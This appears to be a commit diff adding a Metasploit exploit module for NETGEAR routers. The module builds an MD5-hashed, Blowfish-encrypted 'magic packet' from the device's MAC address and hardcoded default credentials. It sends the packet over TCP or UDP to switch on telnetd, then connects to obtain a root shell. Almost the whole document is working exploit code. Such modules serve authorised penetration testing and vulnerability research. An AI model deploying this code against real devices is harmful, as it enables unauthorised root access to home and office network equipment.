Add NETGEAR TelnetEnable
parent
0d07d44b14
commit
e87681f2c4
|
@ -0,0 +1,131 @@
|
|||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::Remote::Udp
|
||||
include Msf::Exploit::Remote::Tcp
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'NETGEAR TelnetEnable',
|
||||
'Description' => %q{
|
||||
This module sends a magic packet to a NETGEAR device to enable telnetd.
|
||||
Upon successful connect, a root shell should be presented to the user.
|
||||
},
|
||||
'Author' => [
|
||||
'Paul Gebheim', # Python PoC (TCP)
|
||||
'insanid', # Python PoC (UDP)
|
||||
'wvu', # Metasploit module
|
||||
],
|
||||
'References' => [
|
||||
['URL', 'https://wiki.openwrt.org/toh/netgear/telnet.console'],
|
||||
['URL', 'https://github.com/cyanitol/netgear-telenetenable'],
|
||||
['URL', 'https://github.com/insanid/netgear-telenetenable']
|
||||
],
|
||||
'DisclosureDate' => 'Oct 30 2009', # Python PoC (TCP)
|
||||
'License' => MSF_LICENSE,
|
||||
'Platform' => 'unix',
|
||||
'Arch' => ARCH_CMD,
|
||||
'Privileged' => true,
|
||||
'Payload' => {
|
||||
'Compat' => {
|
||||
'PayloadType' => 'cmd_interact',
|
||||
'ConnectionType' => 'find'
|
||||
}
|
||||
},
|
||||
'Targets' => [
|
||||
['TCP (typically older devices)', proto: :tcp],
|
||||
['UDP (typically newer devices)', proto: :udp]
|
||||
],
|
||||
'DefaultTarget' => 0
|
||||
))
|
||||
|
||||
register_options([
|
||||
Opt::RPORT(23),
|
||||
OptString.new('MAC', [true, 'MAC address of device']),
|
||||
OptString.new('USERNAME', [true, 'Username on device', 'Gearguy']),
|
||||
OptString.new('PASSWORD', [true, 'Password on device', 'Geardog'])
|
||||
])
|
||||
end
|
||||
|
||||
def exploit
|
||||
# Generate the magic packet
|
||||
payload = magic_packet(
|
||||
datastore['MAC'],
|
||||
datastore['USERNAME'],
|
||||
datastore['PASSWORD']
|
||||
)
|
||||
|
||||
# Send the magic packet via TCP or UDP
|
||||
begin
|
||||
target[:proto] == :tcp ? connect : connect_udp
|
||||
target[:proto] == :tcp ? sock.put(payload) : udp_sock.put(payload)
|
||||
ensure
|
||||
target[:proto] == :tcp ? disconnect : disconnect_udp
|
||||
end
|
||||
|
||||
# Wait a couple seconds for telnetd to come up
|
||||
sleep(2)
|
||||
|
||||
# Connect to telnetd via TCP
|
||||
connect
|
||||
handler(sock)
|
||||
end
|
||||
|
||||
# NOTE: This is almost a verbatim copy of the Python PoC
|
||||
def magic_packet(mac, username, password)
|
||||
mac = mac.gsub(/[:-]/, '').upcase
|
||||
|
||||
if mac.length != 12
|
||||
fail_with(Failure::BadConfig, 'MAC must be 12 bytes without : or -')
|
||||
end
|
||||
just_mac = mac.ljust(0x10, "\x00")
|
||||
|
||||
if username.length > 0x10
|
||||
fail_with(Failure::BadConfig, 'USERNAME must be <= 16 bytes')
|
||||
end
|
||||
just_username = username.ljust(0x10, "\x00")
|
||||
|
||||
if target[:proto] == :tcp
|
||||
if password.length > 0x10
|
||||
fail_with(Failure::BadConfig, 'PASSWORD must be <= 16 bytes')
|
||||
end
|
||||
just_password = password.ljust(0x10, "\x00")
|
||||
elsif target[:proto] == :udp
|
||||
# Thanks to Roberto Frenna for the reserved field analysis
|
||||
if password.length > 0x21
|
||||
fail_with(Failure::BadConfig, 'PASSWORD must be <= 33 bytes')
|
||||
end
|
||||
just_password = password.ljust(0x21, "\x00")
|
||||
end
|
||||
|
||||
cleartext = (just_mac + just_username + just_password).ljust(0x70, "\x00")
|
||||
md5_key = Rex::Text.md5_raw(cleartext)
|
||||
|
||||
payload = byte_swap((md5_key + cleartext).ljust(0x80, "\x00"))
|
||||
|
||||
secret_key = 'AMBIT_TELNET_ENABLE+' + password
|
||||
|
||||
byte_swap(blowfish_encrypt(secret_key, payload))
|
||||
end
|
||||
|
||||
def blowfish_encrypt(secret_key, payload)
|
||||
cipher = OpenSSL::Cipher.new('bf-ecb').encrypt
|
||||
|
||||
cipher.padding = 0
|
||||
cipher.key_len = secret_key.length
|
||||
cipher.key = secret_key
|
||||
|
||||
cipher.update(payload) + cipher.final
|
||||
end
|
||||
|
||||
def byte_swap(data)
|
||||
data.unpack('N*').pack('V*')
|
||||
end
|
||||
|
||||
end
|
Loading…
Reference in New Issue